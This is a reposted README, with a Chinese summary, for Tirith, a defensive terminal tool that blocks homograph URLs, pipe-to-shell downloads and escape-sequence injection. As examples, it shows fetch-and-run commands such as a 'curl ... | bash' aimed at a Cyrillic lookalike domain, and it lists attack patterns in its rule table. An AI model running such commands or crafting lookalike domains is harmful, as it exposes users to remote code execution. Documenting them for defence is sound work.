浏览器能检测到同形攻击,终端不行。
The browser catches homograph attacks, the terminal doesn't

原始链接: https://github.com/sheeki03/tirith

## Tirith:终端命令安全 Tirith 是一款旨在保护您的终端免受恶意命令侵害的安全工具,特别是通过管道传递的命令(例如 `curl | bash`)。与浏览器不同,终端通常无法检测到微妙的基于字符的攻击,例如**同形攻击**——其中视觉上相似的 Unicode 字符(例如,西里尔字母 ‘і’ 代替拉丁字母 ‘i’)会将您重定向到攻击者控制的服务器。 Tirith 在本地运行,**没有任何网络调用或遥测数据**,在执行*之前*分析命令。它会标记潜在的危险模式,例如管道脚本、不安全的下载和拼写欺骗,并提供警告或直接阻止。它涵盖 7 个类别的 30 条规则,包括同形攻击、终端注入和点文件攻击。 安装可以通过各种包管理器(brew、apt、npm 等)轻松完成。安装后(通过 `eval "$(tirith init)"` 激活),它会静默地保护每个命令。用户可以使用 `TIRITH=0` 绕过特定命令的保护,并通过 YAML 文件自定义安全策略。Tirith 还提供分析命令、验证脚本和查看详细审计日志的工具。它采用 AGPL-3.0 双重许可,并提供商业选项。

最近的 Hacker News 讨论突出了一种工具,旨在检测“同形攻击”——使用视觉上相似的字符(例如西里尔字母的 ‘i’ 代替拉丁字母的 ‘i’)来欺骗用户的恶意 URL。虽然现代浏览器通常可以捕获这些攻击,但终端通常无法识别。 该工具允许命令行 URL 检查,但评论员们争论其广泛的实用性。一些人认为终端模拟器不应默认处理此类问题,因为用户可能需要处理不寻常的 URL。另一些人则将其视为一种专门的“开锁工具”——在特定的安全场景中非常有用,但对大多数人来说是不必要的。 一个关键的结论是,无论来源如何,盲目执行来自互联网的脚本(例如 `curl ... | bash`)始终存在风险。用户被提醒要仔细检查软件,使用维护良好的 Linux 发行版,并依赖边缘防火墙等分层安全措施来提供全面的保护。最终,安全问题归结于明智的判断和风险评估。
相关文章

原文

Your browser would catch this. Your terminal won't.

CI License: AGPL-3.0


Can you spot the difference?

  curl -sSL https://install.example-cli.dev | bash     # safe
  curl -sSL https://іnstall.example-clі.dev | bash     # compromised

You can't. Neither can your terminal. Both і characters are Cyrillic (U+0456), not Latin i. The second URL resolves to an attacker's server. The script executes before you notice.

Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question.

Tirith stands at the gate.

brew install sheeki03/tap/tirith && eval "$(tirith init)"

That's it. Every command you run is now guarded. Zero friction on clean input. Sub-millisecond overhead. You forget it's there until it saves you.

Also available via npm, cargo, apt/dnf, and more.


Homograph attack — blocked before execution:

$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname — Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

The command never executes.

Pipe-to-shell with clean URL — warned, not blocked:

$ curl -fsSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter — Download piped to interpreter
    Consider downloading first and reviewing.

Warning prints to stderr. Command still runs.

Normal commands — invisible:

$ git status
$ ls -la
$ docker compose up -d

Nothing. Zero output. You forget tirith is running.


30 rules across 7 categories. All analysis is local. No network calls.

Category What it stops
Homograph attacks Cyrillic/Greek lookalikes in hostnames, punycode domains, mixed-script labels
Terminal injection ANSI escape sequences that rewrite your display, bidi overrides that reverse text, zero-width characters that hide in domains
Pipe-to-shell curl | bash, wget | sh, python <(curl ...), eval $(wget ...) — every source-to-sink pattern
Dotfile attacks Downloads targeting ~/.bashrc, ~/.ssh/authorized_keys, ~/.gitconfig — blocked, not just warned
Insecure transport Plain HTTP piped to shell, curl -k, disabled TLS verification
Ecosystem threats Git clone typosquats, untrusted Docker registries, pip/npm URL installs
Credential exposure http://user:pass@host userinfo tricks, shortened URLs hiding destinations

Homebrew:

brew install sheeki03/tap/tirith

Debian / Ubuntu (.deb):

Download from GitHub Releases, then:

sudo dpkg -i tirith_*_amd64.deb

Fedora / RHEL / CentOS 9+ (.rpm):

Download from GitHub Releases, then:

sudo dnf install ./tirith-*.rpm

Arch Linux (AUR):

yay -S tirith
# or: paru -S tirith

Nix:

nix profile install github:sheeki03/tirith
# or try without installing: nix run github:sheeki03/tirith -- --version

Scoop:

scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith

Chocolatey:

npm:

Cargo:

asdf:

asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest

Docker:

docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

Add to your shell profile (.zshrc, .bashrc, or config.fish):

Shell Hook type Tested on
zsh preexec + paste widget 5.8+
bash preexec (two modes) 5.0+
fish fish_preexec event 3.5+
PowerShell PSReadLine handler 7.0+

Oh-My-Zsh:

git clone https://github.com/sheeki03/ohmyzsh-tirith \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith

# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)

Analyze a command without executing it. Useful for testing what tirith would flag.

$ tirith check -- curl -sSL https://іnstall.example-clі.dev \| bash
tirith: BLOCKED
  [CRITICAL] non_ascii_hostname — Cyrillic і (U+0456) in hostname

Reads from stdin and analyzes pasted content. The shell hook calls this automatically when you paste into the terminal — you don't need to run it manually.

Breaks down a URL's trust signals — TLS, domain age heuristics, known shorteners, Unicode analysis.

$ tirith score https://bit.ly/something

Byte-level comparison showing exactly where suspicious characters are hiding.

$ tirith diff https://exаmple.com
  Position 3: expected 0x61 (Latin a) | got 0xd0 0xb0 (Cyrillic а)

Safe replacement for curl | bash. Downloads to a temp file, shows SHA256, runs static analysis, opens in a pager for review, and executes only after you confirm. Creates a receipt you can verify later.

$ tirith run https://get.docker.com

tirith receipt {last,list,verify}

Track and verify scripts you've run through tirith run. Each execution creates a receipt with the script's SHA256 hash so you can audit what ran on your machine.

$ tirith receipt last        # show the most recent receipt
$ tirith receipt list        # list all receipts
$ tirith receipt verify <sha256>  # verify a specific receipt

Explains the last rule that triggered — what it detected, why it matters, and what to do about it.

Prints the shell hook for your current shell. Add eval "$(tirith init)" to your shell profile to activate tirith.

Diagnostic check — shows detected shell, hook status, policy file location, and configuration. Run this if something isn't working.


  • No network calls during check or paste — all analysis is local
  • No command rewriting — tirith never modifies what you typed
  • No telemetry — nothing leaves your machine, ever
  • No background processes — invoked per-command, exits immediately
  • No cloud dependency — works offline, no accounts, no API keys

Tirith uses a YAML policy file. Discovery order:

  1. .tirith/policy.yaml in current directory (walks up to repo root)
  2. ~/.config/tirith/policy.yaml
version: 1
allowlist:
  - "get.docker.com"
  - "sh.rustup.rs"

severity_overrides:
  docker_untrusted_registry: critical

fail_mode: open  # or "closed" for strict environments

More examples in docs/cookbook.md.

Bypass for the rare case you know exactly what you're doing:

TIRITH=0 curl -L https://something.xyz | bash

This is a standard shell per-command prefix — the variable only exists for that single command and does not persist in your session. Organizations can disable this entirely: allow_bypass: false in policy.


Local JSONL audit log at ~/.local/share/tirith/log.jsonl:

  • Timestamp, action, rule ID, redacted command preview
  • No full commands, environment variables, or file contents

Disable: export TIRITH_LOG=0


tirith is dual-licensed:

This software is free under AGPL-3.0-only with copyleft obligations. If your intended use would trigger AGPL requirements and you prefer not to comply, contact [email protected] for commercial licensing options.

Third-party data attributions in NOTICE.

联系我们 contact @ memedata.com